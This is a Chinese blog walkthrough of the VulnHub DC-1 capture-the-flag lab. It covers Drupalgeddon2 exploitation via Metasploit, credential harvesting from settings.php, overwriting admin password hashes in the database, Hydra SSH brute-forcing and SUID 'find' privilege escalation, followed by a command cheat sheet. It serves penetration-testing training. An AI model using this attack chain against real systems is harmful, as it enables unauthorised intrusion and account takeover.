发布时间:2023-05-27 文章分类:WEB开发, 电脑百科 投稿人:王小丽 字号: 默认 | | 超大 打印

目录

一. 环境搭建

1. 准备工具

渗透利器kali

DC-1靶场机

2. 安装过程

二. 渗透过程

1. 信息收集

①探测目标IP地址

②探测目标IP开放端口 

③网页信息收集

2. 漏洞查找与利用

①漏洞查找

②漏洞利用

3. Getshell

①获取普通shell

②获取交互shell 

3. 数据库渗透

4. 用户密码爆破

5. Linux提权

三. 收获总结

1. 主机扫描

2. 域名信息收集

3. CMS漏洞找查及利用

4. Getshell

5. Linux特性及相关命令

6. 密码爆破与SSH

7. Linux系统的SUID提权


一. 环境搭建

1. 准备工具

渗透利器kali

可参考下面文章进行安装

Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版

DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2. 安装过程

解压后得到个.ova文件

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

用vm虚拟机打开该文件

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

设置好相关操作

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考

“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

二. 渗透过程

这一过程需要用到kali,打开我们的渗透利器kali(root模式下)

1. 信息收集

①探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

arp-scan -l

该命令是探测当前网段的所有ip地址

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

然后我们看一下DC靶机的Mac地址

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

确定了DC主机的IP地址为

192.168.120.128

先看一下kali的ip地址

ifconfig

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

 再用nmap

nmap -sP 192.168.120.0/24

ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

一样扫出了ip

netdiscover

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

②探测目标IP开放端口 

用nmap来探测

nmap -sV -p- 192.168.120.128

-sV  扫描目标主机端口上运行的软件信息

-p-  扫描全部端口0-65535

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看

③网页信息收集

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

当然也可以用kali自带的工具whatweb

黑客工具之whatweb详细使用教程 - 知乎 (zhihu.com)

whatweb -v 192.168.120.128

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

 也能扫出CMS,然后再用dirsearch工具扫一下目录 ,命令

dirsearch -u 192.168.120.128 -e *

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

还是扫出了挺多目录的,但是暂时用不到,先放一放 

得到如下信息

CMS是Drupal
Apache 2.2.22

PHP 5.4.45

jQuery 1.4.4 

2. 漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞 

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

果然有框架漏洞

①漏洞查找

用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

然后输入命令

search Drupal

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

②漏洞利用

利用18年那个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

 接着看一下该漏洞模块参数

show options

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.120.128

然后再show一下模块参数 

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

设置好参数后开始攻击

exploit

exploit和run是一样的,用run也可以

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

3. Getshell

①获取普通shell

shell

获取一下普通的shell 

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

然后执行ls命令

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

②获取交互shell 

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python

python -c 'import pty; pty.spawn("/bin/bash")'

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件

tac flag1.txt

查看一下flag1.txt文件

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件

find / -name flag*

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

 好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行

cat `find / -name settings.php`

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)这里我们找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看

3. 数据库渗透

由上面得到的账号密码登入

mysql -udbuser -pR0ck3t

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西

show datebases;

 DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

接着使用改数据库,并查看表 

use drupaldb;show tables;

 DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

 注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观

select * from users;

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

得到两个用户 

 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin

参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China

法一:修改admin密码

我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

目录下,我们先退出mysql

exit;

打开加密脚本

cat /var/www/scripts/password-hash.sh

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 

php /var/www/scripts/password-hash.sh 123456

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3t
use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

密码修改成功 

法二:添加admin权限用户 

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

然后看一下那个脚本path

searchsploit 34992.py -p

 DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

 登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

Linux /etc/passwd内容解释(超详细)

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

Linux /etc/shadow(影子文件)内容解析(超详细)

接着我们查看一下用户信息

tac /etc/passwd

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

4. 用户密码爆破

事先参考SSH

SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh

利用工具Hydra爆破flag4的密码

(总结)Linux下的暴力密码在线破解工具Hydra详解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

爆破出密码orange,然后我们用kali连接

ssh flag4@192.168.120.128

@192.168.120.128

@目标主机地址

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

输入orange登入

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

打开了flag4.txt,emmm其实好像也没啥

5. Linux提权

需要用到SUID提权,参考

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

find比较常用,可以执行root权限的命令找查文件,

find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上

-exec "/bin/sh" \;

#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦

cd /root
ls
cat *

 DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

拿到第五个flag啦! 

三. 收获总结

1. 主机扫描

nmap -sP 网段

Nmap命令详解

arp-scan -l

arp-scan命令及ARP含义解释

netdiscover

Netdiscover网络扫描工具

2. 域名信息收集

whatweb -v 域名

 whatweb详细使用教程

dirsearch -u 域名

目录扫描工具 dirsearch 中文手册

3. CMS漏洞找查及利用

先打开MSF控制台 

msfconsole

搜索CMS漏洞

search cms名

使用模块

use 漏洞模块名

显示模块参数(一般只需要设置攻击目标IP地址)

show options

设置模块参数

set 模块参数名 参数值

开始攻击

run(或exploit)

metasploit渗透测试入门

4. Getshell

使用MSF攻击等待主机与目标连接完成后

metasploit获取shell之后的进一步利用

通常情况下直接进入shell

shell

获取交互shell(需对方主机安装有python)

python -c 'import pty;pty.spawn("/bin/bash")'

5. Linux特性及相关命令

查看权限(root为最高权限,其他为普通用户)

whoami

文件特性passwd与shadow

/etc/passwd

存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问

Linux /etc/passwd内容解释(超详细)

/etc/shadow

存储有用户的密码等信息,需要root用户才能访问

Linux /etc/shadow(影子文件)内容解析(超详细)

6. 密码爆破与SSH

爆破工具Hydra

黑客工具之hydra详细使用教程 

以爆破SSH为例

hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机

爆破完后我们可以用kali登入

ssh 用户名@目标攻击主机

SSH简介及两种远程登录的方法

7. Linux系统的SUID提权

简谈SUID提权

先找到含有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤

find / -perm -4000 2>/dev/null      拆分讲解

再选择相关命令进行提权,以find为例(用得最多)

先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权

find / -name x.ab -exec "/bin/sh" \;